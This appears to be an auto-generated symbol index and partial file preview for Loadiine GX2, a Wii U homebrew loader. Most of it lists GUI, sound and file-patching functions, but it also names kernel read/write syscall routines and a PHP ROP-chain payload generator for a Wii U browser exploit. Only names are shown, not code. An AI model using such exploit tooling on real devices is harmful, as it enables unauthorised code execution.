function emit (line 2692) | void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,
FILE: src/kernel/kernel_functions.c
function my_PrepareTitle (line 8) | __attribute__((section(".data")));
function SetupKernelCallback (line 62) | void SetupKernelCallback(void)
FILE: src/kernel/syscalls.c
function KernelCopyData (line 12) | static void KernelCopyData(unsigned int addr, unsigned int src, unsigned...
function KernelReadDBATs (line 99) | static void KernelReadDBATs(bat_table_t * table)
function KernelWriteDBATs (line 131) | static void KernelWriteDBATs(bat_table_t * table)
function kern_read (line 166) | uint32_t __attribute__ ((noinline)) kern_read(const void *addr)
function kern_write (line 193) | void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)
function KernelSetupSyscalls (line 215) | void KernelSetupSyscalls(void)
function KernelRestoreInstructions (line 251) | void KernelRestoreInstructions(void)
FILE: src/language/gettext.cpp
type _MSG (line 27) | struct _MSG
type _MSG (line 31) | struct _MSG
function u32 (line 40) | static inline u32 hash_string(const char *str_param)
function MSG (line 156) | static MSG *findMSG(u32 id)
function MSG (line 166) | static MSG *setMSG(const char *msgid, const char *msgstr)
function gettextCleanUp (line 191) | void gettextCleanUp(void)
function gettextLoadLanguage (line 202) | bool gettextLoadLanguage(const char* langFile)
FILE: src/main.cpp
function Menu_Main (line 33) | int Menu_Main(void)
function ApplyPatches (line 107) | void ApplyPatches(){
function RestoreAllInstructions (line 122) | void RestoreAllInstructions(){
FILE: src/menu/ButtonChoiceMenu.h
function OnBackButtonClick (line 33) | void OnBackButtonClick(GuiButton *button, const GuiController *controlle...
function OnOkButtonClick (line 38) | void OnOkButtonClick(GuiButton *button, const GuiController *controller,...
type ChoiceButton (line 78) | typedef struct
FILE: src/menu/GameLauncherMenu.h
type GamelaunchermenuFocus (line 45) | enum GamelaunchermenuFocus
function OnGetNextHeaderClick (line 64) | void OnGetNextHeaderClick(GuiButton *button, const GuiController *contro...
function OnGetPreviousHeaderClick (line 69) | void OnGetPreviousHeaderClick(GuiButton *button, const GuiController *co...
function OnQuitButtonClick (line 81) | void OnQuitButtonClick(GuiButton *button, const GuiController *controlle...
FILE: src/menu/KeyPadMenu.h
function OnBackButtonClick (line 38) | void OnBackButtonClick(GuiButton *button, const GuiController *controlle...
function OnOkButtonClick (line 42) | void OnOkButtonClick(GuiButton *button, const GuiController *controller,...
FILE: src/menu/MainDrcButtonsFrame.h
function virtual (line 71) | virtual ~MainDrcButtonsFrame()
function OnLayoutSwithClick (line 86) | void OnLayoutSwithClick(GuiButton *button, const GuiController *controll...
function OnGameImageDownloadButtonClicked (line 89) | void OnGameImageDownloadButtonClicked(GuiButton *button, const GuiContro...
FILE: src/menu/MainWindow.h
function class (line 32) | class MainWindow : public sigslot::has_slots<>
FILE: src/menu/SettingsCategoryMenu.h
function OnBackButtonClick (line 35) | void OnBackButtonClick(GuiButton *button, const GuiController *controlle...
type CategorySetting (line 73) | typedef struct
FILE: src/menu/SettingsMenu.h
function OnQuitButtonClick (line 58) | void OnQuitButtonClick(GuiButton *button, const GuiController *controlle...
type GuiSettingsCategory (line 82) | typedef struct
FILE: src/network/FileDownloader.h
function class (line 23) | class FileDownloader
FILE: src/network/GameImageDownloader.h
function startDownloading (line 24) | void startDownloading()
type ImageLink (line 39) | struct ImageLink
FILE: src/patcher/aoc_patcher.cpp
function DECL (line 5) | DECL(int, ACPGetAddOnUniqueId, unsigned int * id_buffer, int buffer_size)
function DECL (line 18) | DECL(int, AOC_OpenTitle, char * path, void * target, void * buffer, unsi...
FILE: src/patcher/cpp_to_c_util.cpp
function replacement_FileReplacer_t (line 8) | replacement_FileReplacer_t replacement_FileReplacer_initWithFile(char * ...
function replacement_FileReplacer_destroy (line 12) | void replacement_FileReplacer_destroy(replacement_FileReplacer_t untyped...
function replacement_FileReplacer_isFileExisting (line 17) | int replacement_FileReplacer_isFileExisting(replacement_FileReplacer_t u...
FILE: src/patcher/extra_log_patcher.cpp
function DECL (line 6) | DECL(int, OSDynLoad_GetModuleName, unsigned int *handle, char *name_buff...
function DECL (line 19) | DECL(int, OSDynLoad_IsModuleLoaded, char* rpl, unsigned int *handle, int...
function fs_log_byte_for_client (line 37) | static void fs_log_byte_for_client(void *pClient, char byte) {
function DECL (line 44) | DECL(int, FSCloseFile_log, void *pClient, void *pCmd, int fd, int error) {
function DECL (line 48) | DECL(int, FSCloseDir_log, void *pClient, void *pCmd, int fd, int error) {
function DECL (line 52) | DECL(int, FSFlushFile_log, void *pClient, void *pCmd, int fd, int error) {
function DECL (line 56) | DECL(int, FSGetErrorCodeForViewer_log, void *pClient, void *pCmd) {
function DECL (line 60) | DECL(int, FSGetLastError_log, void *pClient) {
function DECL (line 64) | DECL(int, FSGetPosFile_log, void *pClient, void *pCmd, int fd, int *pos,...
function DECL (line 68) | DECL(int, FSGetStatFile_log, void *pClient, void *pCmd, int fd, void *bu...
function DECL (line 72) | DECL(int, FSIsEof_log, void *pClient, void *pCmd, int fd, int error) {
function DECL (line 77) | DECL(int, FSReadFileWithPos_log, void *pClient, void *pCmd, void *buffer...
function DECL (line 81) | DECL(int, FSSetPosFile_log, void *pClient, void *pCmd, int fd, int pos, ...
function DECL (line 85) | DECL(void, FSSetStateChangeNotification_log, void *pClient, int r4) {
function DECL (line 89) | DECL(int, FSTruncateFile_log, void *pClient, void *pCmd, int fd, int err...
function DECL (line 93) | DECL(int, FSWriteFile_log, void *pClient, void *pCmd, const void *source...
function DECL (line 97) | DECL(int, FSWriteFileWithPos_log, void *pClient, void *pCmd, const void ...
function DECL (line 102) | DECL(int, FSGetVolumeState_log, void *pClient) {
FILE: src/patcher/fs_logger.c
function fs_logger_connect (line 14) | int fs_logger_connect(int *socket) {
function fs_logger_disconnect (line 20) | void fs_logger_disconnect(int socket) {
function fs_log_string (line 85) | void fs_log_string(int sock, const char* str, unsigned char flag_byte) {
function fs_log_byte (line 90) | void fs_log_byte(int sock, unsigned char flag_byte) {
FILE: src/patcher/fs_patcher.cpp
function DECL (line 23) | DECL(int, FSInit, void)
function DECL (line 91) | DECL(int, FSShutdown, void) {
function DECL (line 100) | DECL(int, FSAddClientEx, void *pClient, int unk_param, int errHandling)
function DECL (line 119) | DECL(int, FSDelClient, void *pClient) {
function DECL (line 136) | DECL(int, FSGetStat, void *pClient, void *pCmd, const char *path, FSStat...
function DECL (line 157) | DECL(int, FSGetStatAsync, void *pClient, void *pCmd, const char *path, v...
function DECL (line 178) | DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const...
function DECL (line 201) | DECL(int, FSOpenFileAsync, void *pClient, void *pCmd, const char *path, ...
function DECL (line 222) | DECL(int, FSOpenDir, void *pClient, void* pCmd, const char *path, int *h...
function DECL (line 243) | DECL(int, FSOpenDirAsync, void *pClient, void* pCmd, const char *path, i...
function DECL (line 264) | DECL(int, FSChangeDir, void *pClient, void *pCmd, const char *path, int ...
function DECL (line 285) | DECL(int, FSChangeDirAsync, void *pClient, void *pCmd, const char *path,...
FILE: src/patcher/fs_sd_patcher.cpp
function DECL (line 8) | DECL(int, FSMakeDir, void *pClient, void *pCmd, const char *path, int er...
function DECL (line 32) | DECL(int, FSMakeDirAsync, void *pClient, void *pCmd, const char *path, i...
function DECL (line 56) | DECL(int, FSRename, void *pClient, void *pCmd, const char *oldPath, cons...
function DECL (line 88) | DECL(int, FSRenameAsync, void *pClient, void *pCmd, const char *oldPath,...
function DECL (line 120) | DECL(int, FSRemove, void *pClient, void *pCmd, const char *path, int err...
function DECL (line 144) | DECL(int, FSRemoveAsync, void *pClient, void *pCmd, const char *path, in...
function DECL (line 167) | DECL(int, FSFlushQuota, void *pClient, void *pCmd, const char* path, int...
function DECL (line 192) | DECL(int, FSFlushQuotaAsync, void *pClient, void *pCmd, const char *path...
function DECL (line 218) | DECL(int, FSGetFreeSpaceSize, void *pClient, void *pCmd, const char *pat...
function DECL (line 243) | DECL(int, FSGetFreeSpaceSizeAsync, void *pClient, void *pCmd, const char...
function DECL (line 269) | DECL(int, FSRollbackQuota, void *pClient, void *pCmd, const char *path, ...
function DECL (line 293) | DECL(int, FSRollbackQuotaAsync, void *pClient, void *pCmd, const char *p...
FILE: src/patcher/hid_controller_function_patcher.cpp
function DECL (line 10) | DECL(void, GX2CopyColorBufferToScanBuffer, const GX2ColorBuffer *colorBu...
function DECL (line 20) | DECL(void, __PPCExit, void){
function DECL (line 35) | DECL(int, VPADRead, int chan, VPADData *buffer, u32 buffer_size, s32 *er...
FILE: src/patcher/patcher_util.cpp
function client_num_alloc (line 6) | int client_num_alloc(void *pClient) {
function client_num (line 22) | int client_num(void *pClient) {
function client_num_free (line 30) | void client_num_free(int client) {
function getPathType (line 34) | int getPathType(const char *path) {
function compute_new_path (line 65) | void compute_new_path(char* new_path, const char* path, int len, int pat...
function GetCurClient (line 167) | int GetCurClient(void *pClient) {
function getNewPathLen (line 177) | int getNewPathLen(int pathType){
FILE: src/patcher/patcher_util.h
type bss_t (line 21) | struct bss_t {
FILE: src/patcher/pygecko.c
type pygecko_bss_t (line 9) | struct pygecko_bss_t {
function recvwait (line 19) | static int recvwait(struct pygecko_bss_t *bss, int sock, void *buffer, i...
function recvbyte (line 33) | static int recvbyte(struct pygecko_bss_t *bss, int sock) {
function checkbyte (line 42) | static int checkbyte(struct pygecko_bss_t *bss, int sock) {
function sendwait (line 52) | static int sendwait(struct pygecko_bss_t *bss, int sock, const void *buf...
function sendbyte (line 66) | static int sendbyte(struct pygecko_bss_t *bss, int sock, unsigned char b...
function rungecko (line 73) | static int rungecko(struct pygecko_bss_t *bss, int clientfd) {
function pygecko_main (line 338) | static int pygecko_main(int argc, void *argv) {
function start_pygecko (line 382) | void start_pygecko(void)
FILE: src/patcher/rplrpx_patcher.cpp
function LoadRPLToMemory (line 13) | static int LoadRPLToMemory(s_rpx_rpl *rpl_entry)
function CheckAndLoadRPL (line 140) | static int CheckAndLoadRPL(const char *rpl) {
function DECL (line 170) | DECL(int, OSDynLoad_Acquire, char* rpl, unsigned int *handle, int r5 __a...
function DECL (line 202) | DECL(int, LiBounceOneChunk, const char * filename, int fileType, int pro...
function DECL (line 215) | DECL(int, LiWaitOneChunk, unsigned int * iRemainingBytes, const char *fi...
FILE: src/resources/Resources.cpp
function u8 (line 60) | const u8 * Resources::GetFile(const char * filename)
function u32 (line 73) | u32 Resources::GetFileSize(const char * filename)
function GuiImageData (line 85) | GuiImageData * Resources::GetImageData(const char * filename)
function GuiSound (line 138) | GuiSound * Resources::GetSound(const char * filename)
FILE: src/resources/Resources.h
function class (line 11) | class Resources
FILE: src/resources/filelist.h
type RecourceFile (line 14) | typedef struct _RecourceFile
FILE: src/settings/CSettings.h
function class (line 26) | class CSettings
FILE: src/settings/CSettingsGame.cpp
function GameSettings (line 318) | GameSettings * CSettingsGame::GetGameSettingsBySettingGameValue(std::str...
FILE: src/settings/CSettingsGame.h
function class (line 29) | class CSettingsGame
FILE: src/settings/SettingsDefs.h
type SettingTypes (line 20) | enum SettingTypes
type ValueString (line 30) | typedef struct
type SettingType (line 36) | typedef struct
FILE: src/settings/SettingsEnums.h
type eGameViewModes (line 4) | enum eGameViewModes
type eGameSaveModes (line 11) | enum eGameSaveModes
type eOnOff (line 18) | enum eOnOff
FILE: src/settings/SettingsGameDefs.h
type GameSettings (line 19) | typedef struct
FILE: src/sounds/BufferCircle.hpp
class BufferCircle (line 32) | class BufferCircle
method s32 (line 42) | s32 Size() { return SoundBuffer.size(); }
method u8 (line 54) | u8 * GetBuffer() { return GetBuffer(which); }
method u8 (line 56) | u8 * GetBuffer(s32 pos) { if(!Valid(pos)) return NULL; else return Sou...
method u32 (line 58) | u32 GetBufferSize() { return GetBufferSize(which); }
method u32 (line 60) | u32 GetBufferSize(s32 pos) { if(!Valid(pos)) return 0; else return Buf...
method IsBufferReady (line 62) | bool IsBufferReady() { return IsBufferReady(which); }
method IsBufferReady (line 64) | bool IsBufferReady(s32 pos) { if(!Valid(pos)) return false; else retur...
method u16 (line 70) | u16 Which() { return which; }
method u16 (line 73) | inline u16 Next() { return (which+1 >= Size()) ? 0 : which+1; }
method u16 (line 74) | inline u16 Prev() { if(Size() == 0) return 0; else return ((s32)which-...
method Valid (line 77) | bool Valid(s32 pos) { return !(pos < 0 || pos >= Size()); }
FILE: src/sounds/Mp3Decoder.cpp
function s32 (line 109) | s32 Mp3Decoder::Rewind()
function s16 (line 127) | static inline s16 FixedToShort(mad_fixed_t Fixed)
function s32 (line 139) | s32 Mp3Decoder::Read(u8 * buffer, s32 buffer_size, s32 pos)
FILE: src/sounds/Mp3Decoder.hpp
class Mp3Decoder (line 30) | class Mp3Decoder : public SoundDecoder
type mad_stream (line 40) | struct mad_stream
type mad_frame (line 41) | struct mad_frame
type mad_synth (line 42) | struct mad_synth
FILE: src/sounds/OggDecoder.cpp
function ogg_read (line 31) | static int ogg_read(void * punt, int bytes, int blocks, int *f)
function ogg_seek (line 36) | static int ogg_seek(int *f, ogg_int64_t offset, int mode)
function ogg_close (line 41) | static int ogg_close(int *f)
function ogg_tell (line 47) | static long ogg_tell(int *f)
function s32 (line 113) | s32 OggDecoder::Rewind()
function s32 (line 125) | s32 OggDecoder::Read(u8 * buffer, s32 buffer_size, s32 pos)
FILE: src/sounds/OggDecoder.hpp
class OggDecoder (line 31) | class OggDecoder : public SoundDecoder
FILE: src/sounds/SoundDecoder.cpp
function s32 (line 81) | s32 SoundDecoder::Rewind()
function s32 (line 90) | s32 SoundDecoder::Read(u8 * buffer, s32 buffer_size, s32 pos)
FILE: src/sounds/SoundDecoder.hpp
class SoundDecoder (line 33) | class SoundDecoder
method Lock (line 40) | virtual void Lock() { mutex.lock(); }
method Unlock (line 41) | virtual void Unlock() { mutex.unlock(); }
method s32 (line 43) | virtual s32 Tell() { return CurPos; }
method s32 (line 44) | virtual s32 Seek(s32 pos) { CurPos = pos; return file_fd->seek(CurPos,...
method u16 (line 46) | virtual u16 GetFormat() { return Format; }
method u16 (line 47) | virtual u16 GetSampleRate() { return SampleRate; }
method IsBufferReady (line 49) | virtual bool IsBufferReady() { return SoundBuffer.IsBufferReady(); }
method u8 (line 50) | virtual u8 * GetBuffer() { return SoundBuffer.GetBuffer(); }
method u32 (line 51) | virtual u32 GetBufferSize() { return SoundBuffer.GetBufferSize(); }
method LoadNext (line 52) | virtual void LoadNext() { SoundBuffer.LoadNext(); }
method IsEOF (line 53) | virtual bool IsEOF() { return EndOfFile; }
method SetLoop (line 54) | virtual void SetLoop(bool l) { Loop = l; EndOfFile = false; }
method u8 (line 55) | virtual u8 GetSoundType() { return SoundType; }
method ClearBuffer (line 56) | virtual void ClearBuffer() { SoundBuffer.ClearBuffer(); whichLoad = 0; }
method IsStereo (line 57) | virtual bool IsStereo() { return (GetFormat() & CHANNELS_STEREO) != 0; }
method Is16Bit (line 58) | virtual bool Is16Bit() { return ((GetFormat() & 0xFF) == FORMAT_PCM_16...
method IsDecoding (line 59) | virtual bool IsDecoding() { return Decoding; }
type SoundFormats (line 63) | enum SoundFormats
type SoundChannels (line 68) | enum SoundChannels
type SoundType (line 74) | enum SoundType
FILE: src/sounds/SoundHandler.cpp
function CheckMP3Signature (line 115) | static inline bool CheckMP3Signature(const u8 * buffer)
function SoundDecoder (line 149) | SoundDecoder * SoundHandler::GetSoundDecoder(const char * filepath)
function SoundDecoder (line 185) | SoundDecoder * SoundHandler::GetSoundDecoder(const u8 * sound, s32 length)
FILE: src/sounds/SoundHandler.hpp
class SoundHandler (line 37) | class SoundHandler : public CThread
method SoundHandler (line 40) | static SoundHandler * instance() {
method DestroyInstance (line 46) | static void DestroyInstance() { delete handlerInstance; handlerInstanc...
method SoundDecoder (line 52) | SoundDecoder * getDecoder(s32 i) { return ((i < 0 || i >= MAX_DECODERS...
method Voice (line 53) | Voice * getVoice(s32 i) { return ((i < 0 || i >= MAX_DECODERS) ? NULL ...
method ThreadSignal (line 55) | void ThreadSignal() { resumeThread(); }
method IsDecoding (line 56) | bool IsDecoding() { return Decoding; }
FILE: src/sounds/Voice.h
function class (line 23) | class Voice
FILE: src/sounds/WavDecoder.cpp
function s32 (line 127) | s32 WavDecoder::Read(u8 * buffer, s32 buffer_size, s32 pos)
FILE: src/sounds/WavDecoder.hpp
class WavDecoder (line 56) | class WavDecoder : public SoundDecoder
FILE: src/system/AsyncDeleter.h
function class (line 24) | class AsyncDeleter : public CThread
FILE: src/system/CMutex.h
function class (line 23) | class CMutex
function class (line 56) | class CMutexLock
FILE: src/system/CThread.h
function class (line 26) | class CThread
function virtual (line 50) | virtual ~CThread() { shutdownThread(); }
function virtual (line 58) | virtual void* getThread() const { return pThread; }
function virtual (line 60) | virtual void executeThread(void)
function virtual (line 66) | virtual void suspendThread(void) { if(isThreadSuspended()) return; if(pT...
function virtual (line 68) | virtual void resumeThread(void) { if(!isThreadSuspended()) return; if(pT...
function virtual (line 70) | virtual void setThreadPriority(s32 prio) { if(pThread) OSSetThreadPriori...
function virtual (line 72) | virtual bool isThreadSuspended(void) const { if(pThread) return OSIsThre...
function virtual (line 74) | virtual bool isThreadTerminated(void) const { if(pThread) return OSIsThr...
function virtual (line 76) | virtual bool isThreadRunning(void) const { return !isThreadSuspended() &...
function virtual (line 78) | virtual void shutdownThread(void)
type eCThreadAttributes (line 98) | enum eCThreadAttributes
FILE: src/system/exception_handler.c
type frame_rec (line 23) | typedef struct _framerec {
function exception_cb (line 55) | static unsigned char exception_cb(void * c, unsigned char exception_type) {
function dsi_exception_cb (line 129) | static unsigned char dsi_exception_cb(OSContext * context) {
function isi_exception_cb (line 132) | static unsigned char isi_exception_cb(OSContext * context) {
function program_exception_cb (line 135) | static unsigned char program_exception_cb(OSContext * context) {
function setup_os_exceptions (line 139) | void setup_os_exceptions(void) {
FILE: src/system/memory.c
function memoryInitialize (line 53) | void memoryInitialize(void)
function memoryRelease (line 68) | void memoryRelease(void)
function __wrap_free (line 97) | void __wrap_free(void *p)
function __wrap_malloc_usable_size (line 113) | size_t __wrap_malloc_usable_size(void *p)
type _reent (line 152) | struct _reent
type _reent (line 157) | struct _reent
type _reent (line 162) | struct _reent
function __wrap__free_r (line 167) | void __wrap__free_r(struct _reent *r, void *p)
function __wrap__malloc_usable_size_r (line 172) | size_t __wrap__malloc_usable_size_r(struct _reent *r, void *p)
type _reent (line 177) | struct _reent
function MEM2_free (line 190) | void MEM2_free(void *ptr)
function MEM1_free (line 202) | void MEM1_free(void *ptr)
function MEMBucket_free (line 214) | void MEMBucket_free(void *ptr)
FILE: src/utils/Directory.cpp
function Directory (line 82) | Directory * Directory::getFolder(std::string foldername){
function Directory (line 93) | Directory * Directory::getParent(){
FILE: src/utils/Directory.h
function class (line 4) | class Directory
FILE: src/utils/FileReplacer.cpp
type dirent (line 104) | struct dirent
FILE: src/utils/FileReplacer.h
function class (line 11) | class FileReplacer
FILE: src/utils/StringTools.cpp
function wchar_t (line 58) | const wchar_t * wfmt(const char * format, ...)
function strprintf (line 95) | int strprintf(std::string &str, const char * format, ...)
function strfmt (line 115) | std::string strfmt(const char * format, ...)
function char2wchar_t (line 134) | bool char2wchar_t(const char * strChar, wchar_t * dest)
function strtokcmp (line 149) | int strtokcmp(const char * string, const char * compare, const char * se...
function strextcmp (line 172) | int strextcmp(const char * string, const char * extension, char seperator)
function stringSplit (line 185) | std::vector<std::string> stringSplit(const std::string & inValue, const ...
FILE: src/utils/StringTools.h
function RemoveDoubleSlashs (line 59) | inline void RemoveDoubleSlashs(std::string &str)
FILE: src/utils/function_patcher.cpp
function PatchInvidualMethodHooks (line 40) | void PatchInvidualMethodHooks(hooks_magic_t method_hooks[],s32 hook_info...
function RestoreInvidualInstructions (line 148) | void RestoreInvidualInstructions(hooks_magic_t method_hooks[],s32 hook_i...
function s32 (line 192) | s32 isDynamicFunction(u32 physicalAddress){
function u32 (line 199) | u32 GetAddressOfFunction(const char * functionName,u32 library){
function PatchSDK (line 357) | void PatchSDK(void)
FILE: src/utils/function_patcher.h
type hooks_magic_t (line 54) | typedef struct {
FILE: src/utils/logger.c
type sockaddr_in (line 12) | struct sockaddr_in
function log_init (line 16) | void log_init()
function log_print (line 31) | void log_print(const char *str)
function log_printf (line 57) | void log_printf(const char *format, ...)
FILE: src/utils/strings.c
function m_memcmp (line 28) | int m_memcmp(const void * ptr1, const void * ptr2, unsigned int num)
function m_strnlen (line 46) | int m_strnlen(const char* str, unsigned int max_len) {
function m_strlen (line 54) | int m_strlen(const char* str) {
function m_strlcpy (line 62) | int m_strlcpy(char *s1, const char *s2, unsigned int max_size)
function m_strncpy (line 77) | int m_strncpy(char *dst, const char *src, unsigned int max_size)
function m_strncasecmp (line 83) | int m_strncasecmp(const char *s1, const char *s2, unsigned int max_len) {
function m_strncmp (line 113) | int m_strncmp(const char *s1, const char *s2, unsigned int max_len) {
function m_strtoll (line 161) | long long m_strtoll(const char *str, char **end, int base)
FILE: src/utils/strings.h
function m_toupper (line 4) | static inline int m_toupper(int c) {
FILE: src/utils/utils.c
function m_DCFlushRange (line 3) | void m_DCFlushRange(unsigned int startAddr, unsigned int size)
function m_DCInvalidateRange (line 17) | void m_DCInvalidateRange(unsigned int startAddr, unsigned int size)
FILE: src/utils/xml.c
function LoadXmlParameters (line 52) | int LoadXmlParameters(ReducedCosAppXmlInfo * xmlInfo, const char *rpx_na...
function GetId6FromMeta (line 245) | int GetId6FromMeta(const char *path, char *id6)
FILE: src/video/CVideo.h
function class (line 23) | class CVideo
FILE: src/video/CursorDrawer.h
function class (line 28) | class CursorDrawer
FILE: src/video/shaders/ColorShader.h
function class (line 24) | class ColorShader : public Shader
FILE: src/video/shaders/FXAAShader.h
function class (line 24) | class FXAAShader : public Shader
FILE: src/video/shaders/FetchShader.h
function class (line 22) | class FetchShader : public Shader
FILE: src/video/shaders/PixelShader.h
function class (line 22) | class PixelShader : public Shader
FILE: src/video/shaders/Shader.h
function class (line 25) | class Shader
FILE: src/video/shaders/Shader3D.h
function class (line 24) | class Shader3D : public Shader
FILE: src/video/shaders/ShaderFractalColor.h
function class (line 24) | class ShaderFractalColor : public Shader
FILE: src/video/shaders/Texture2DShader.h
function class (line 24) | class Texture2DShader : public Shader
FILE: src/video/shaders/VertexShader.h
function class (line 23) | class VertexShader : public Shader
function virtual (line 38) | virtual ~VertexShader() {
function setProgram (line 80) | void setProgram(const u32 * program, const u32 & programSize, const u32 ...
function addUniformVar (line 97) | void addUniformVar(const GX2UniformVar & var)
function addAttribVar (line 122) | void addAttribVar(const GX2AttribVar & var)
function setAttributeBuffer (line 147) | static inline void setAttributeBuffer(u32 bufferIdx, u32 bufferSize, u32...
function GX2VertexShader (line 151) | GX2VertexShader *getVertexShader() const {
function setShader (line 155) | void setShader(void) const {
function setUniformReg (line 169) | static void setUniformReg(u32 location, u32 size, const void * reg) {
FILE: udp_debug_reader/source/Input.c
function CheckInput (line 31) | char CheckInput()
function kbhit (line 66) | int kbhit(void)
function getch (line 94) | int getch()
FILE: udp_debug_reader/source/main.c
function main (line 31) | int main(int argc, char *argv[])
FILE: udp_debug_reader/source/network.c
type sockaddr_in (line 32) | struct sockaddr_in
function Bind (line 34) | int Bind()
function CloseSocket (line 51) | void CloseSocket()
function NetInit (line 60) | int NetInit()
function NetRead (line 87) | int NetRead(void *buffer, unsigned int buf_len)
FILE: udp_debug_reader/source/winsock/winsock.h
type u_char (line 27) | typedef unsigned char u_char;
type u_short (line 28) | typedef unsigned short u_short;
type u_int (line 29) | typedef unsigned int u_int;
type u_long (line 30) | typedef unsigned long u_long;
type u_int (line 33) | typedef u_int SOCKET;
type fd_set (line 50) | typedef struct fd_set {
type timeval (line 89) | struct timeval {
type hostent (line 100) | struct hostent {
type linger (line 108) | struct linger {
type netent (line 135) | struct netent {
type servent (line 141) | struct servent {
type protoent (line 147) | struct protoent {
type in_addr (line 193) | struct in_addr {
type sockaddr_in (line 224) | struct sockaddr_in {
type WSADATA (line 232) | typedef struct WSAData {
type WSADATA (line 241) | typedef WSADATA *LPWSADATA;
type ip_mreq (line 278) | struct ip_mreq {
type sockaddr (line 318) | struct sockaddr {
type sockproto (line 324) | struct sockproto {
type sockaddr (line 434) | struct sockaddr
type sockaddr (line 435) | struct sockaddr
type sockaddr (line 437) | struct sockaddr
type sockaddr (line 439) | struct sockaddr
type sockaddr (line 440) | struct sockaddr
type in_addr (line 443) | struct in_addr
type sockaddr (line 446) | struct sockaddr
type sockaddr (line 448) | struct sockaddr
type hostent (line 452) | struct hostent
type hostent (line 453) | struct hostent
type servent (line 454) | struct servent
type servent (line 455) | struct servent
type protoent (line 456) | struct protoent
type protoent (line 457) | struct protoent
type timeval (line 479) | struct timeval
type SOCKADDR (line 490) | typedef struct sockaddr SOCKADDR;
type sockaddr (line 491) | struct sockaddr
type sockaddr (line 492) | struct sockaddr
type SOCKADDR_IN (line 493) | typedef struct sockaddr_in SOCKADDR_IN;
type sockaddr_in (line 494) | struct sockaddr_in
type sockaddr_in (line 495) | struct sockaddr_in
type LINGER (line 496) | typedef struct linger LINGER;
type linger (line 497) | struct linger
type linger (line 498) | struct linger
type IN_ADDR (line 499) | typedef struct in_addr IN_ADDR;
type in_addr (line 500) | struct in_addr
type in_addr (line 501) | struct in_addr
type FD_SET (line 502) | typedef struct fd_set FD_SET;
type fd_set (line 503) | struct fd_set
type fd_set (line 504) | struct fd_set
type HOSTENT (line 505) | typedef struct hostent HOSTENT;
type hostent (line 506) | struct hostent
type hostent (line 507) | struct hostent
type SERVENT (line 508) | typedef struct servent SERVENT;
type servent (line 509) | struct servent
type servent (line 510) | struct servent
type PROTOENT (line 511) | typedef struct protoent PROTOENT;
type protoent (line 512) | struct protoent
type protoent (line 513) | struct protoent
type TIMEVAL (line 514) | typedef struct timeval TIMEVAL;
type timeval (line 515) | struct timeval
type timeval (line 516) | struct timeval
FILE: www/loadiine_gx2/wiiu_browserhax_common.php
function genu32_unicode (line 73) | function genu32_unicode($value)//This would need updated to support big-...
function genu32_unicode_jswrap (line 79) | function genu32_unicode_jswrap($value)
function ropchain_appendu32 (line 84) | function ropchain_appendu32($val)
function generate_ropchain (line 97) | function generate_ropchain()
function wiiuhaxx_generatepayload (line 113) | function wiiuhaxx_generatepayload()
function ropgen_pop_r24_to_r31 (line 135) | function ropgen_pop_r24_to_r31($inputregs)
function ropgen_setr3_popr20_to_r31 (line 146) | function ropgen_setr3_popr20_to_r31($inputregs)//r3 = r29, then pop r20....
function ropgen_callfunc (line 154) | function ropgen_callfunc($funcaddr, $r3, $r4, $r5, $r6, $r28)
function ropgen_callgadget_singleparam (line 179) | function ropgen_callgadget_singleparam($funcaddr, $r3)
function ropgen_setr3 (line 186) | function ropgen_setr3($r3)
function ropgen_write_r3r4_tomem (line 205) | function ropgen_write_r3r4_tomem($outaddr)//r3 is written to $outaddr, t...
function ropgen_writeword_tomem (line 224) | function ropgen_writeword_tomem($value, $addr)
function ropgen_OSFatal (line 231) | function ropgen_OSFatal($stringaddr)
function ropgen_Exit (line 238) | function ropgen_Exit()
function ropgen_OSGetCoreId (line 245) | function ropgen_OSGetCoreId()
function ropgen_os_snprintf (line 252) | function ropgen_os_snprintf($outstr_addr, $outstrsize, $formatstr_addr, ...
function ropgen_OSScreenFlipBuffersEx (line 259) | function ropgen_OSScreenFlipBuffersEx($screenid)
function ropgen_OSScreenClearBufferEx (line 266) | function ropgen_OSScreenClearBufferEx($screenid, $color)//Don't use any ...
function ropgen_colorfill (line 273) | function ropgen_colorfill($screenid, $r, $g, $b, $a)
function ropgen_OSCodegenCopy (line 279) | function ropgen_OSCodegenCopy($dstaddr, $srcaddr, $size)//This can't be ...
function ropgen_OSGetCodegenVirtAddrRange (line 286) | function ropgen_OSGetCodegenVirtAddrRange($outaddr0, $outaddr1)
function ropgen_OSSwitchSecCodeGenMode (line 293) | function ropgen_OSSwitchSecCodeGenMode($flag)//flag0 == RW- permissions,...
function ropgen_memcpy (line 300) | function ropgen_memcpy($dst, $src, $size)
function ropgen_DCFlushRange (line 307) | function ropgen_DCFlushRange($addr, $size)
function ropgen_ICInvalidateRange (line 314) | function ropgen_ICInvalidateRange($addr, $size)
function ropgen_copycodebin_to_codegen (line 321) | function ropgen_copycodebin_to_codegen($codegen_addr, $codebin_addr, $co...
function ropgen_display_u32 (line 339) | function ropgen_display_u32($skip_printval_initialization)//This prints ...
function ropgen_switchto_core1 (line 376) | function ropgen_switchto_core1()
function generateropchain_type1 (line 399) | function generateropchain_type1()
Condensed preview — 282 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (2,120K chars).
[
{
"path": ".gitignore",
"chars": 249,
"preview": "/fs/build\n/installer/bin\n/loader/build\n/menu/build\n/server/logs/*.txt\n/build\n/*.elf\n/fs/*.elf\n/loader/*.elf\n/sd_loader/b"
},
{
"path": ".gitmodules",
"chars": 226,
"preview": "[submodule \"src/controller_patcher\"]\n\tpath = src/controller_patcher\n\turl = https://github.com/Maschell/controller_patche"
},
{
"path": ".travis.yml",
"chars": 2444,
"preview": "language: c\n\nsudo: false\n\nbranches:\n except:\n - /^*-v[0-9]/\n - /^build-[0-9a-z\\-]*/\n\nnotifications:\n email: fals"
},
{
"path": "LICENSE",
"chars": 35141,
"preview": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
},
{
"path": "Makefile",
"chars": 10646,
"preview": "#---------------------------------------------------------------------------------\n# Clear the implicit built in rules\n#"
},
{
"path": "Readme.md",
"chars": 1630,
"preview": "# Loadiine GX2\n[](https://travis-ci.org/di"
},
{
"path": "filelist.sh",
"chars": 1885,
"preview": "#! /bin/bash\n#\n# Automatic resource file list generation\n# Created by Dimok\n\noutFile=\"./src/resources/filelist.h\"\ncount_"
},
{
"path": "gitrev.sh",
"chars": 1005,
